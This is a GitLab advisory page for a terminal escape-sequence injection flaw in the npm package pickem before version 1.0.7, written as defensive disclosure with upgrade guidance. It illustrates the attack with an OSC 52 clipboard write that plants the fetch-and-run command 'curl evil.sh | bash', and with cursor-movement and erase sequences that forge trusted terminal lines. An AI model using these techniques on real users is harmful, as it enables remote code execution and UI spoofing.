Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. pickem
  4. ›
  5. GHSA-8qx3-8gm5-9cj2

GHSA-8qx3-8gm5-9cj2: pickem vulnerable to terminal escape-sequence injection via unsanitized item text

August 25, 2026

pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

  • OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user’s clipboard; their next paste-into-shell is RCE.
  • Cursor-movement + erase (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a “✓ Verified publisher”, fake prompt, or hide a malicious entry).
  • BEL / C0 control flooding.

Any CLI that passes untrusted strings into pickem choices is affected.

References

  • github.com/advisories/GHSA-8qx3-8gm5-9cj2
  • github.com/calebogden/pickem-oss/releases/tag/v1.0.7
  • github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2

Code Behaviors & Features

Detect and mitigate GHSA-8qx3-8gm5-9cj2 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →

Affected versions

All versions before 1.0.7

Fixed versions

  • 1.0.7

Solution

Upgrade to version 1.0.7 or above.

Impact 8 HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

Source file

npm/pickem/GHSA-8qx3-8gm5-9cj2.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sun, 08 Nov 2026 00:16:39 +0000.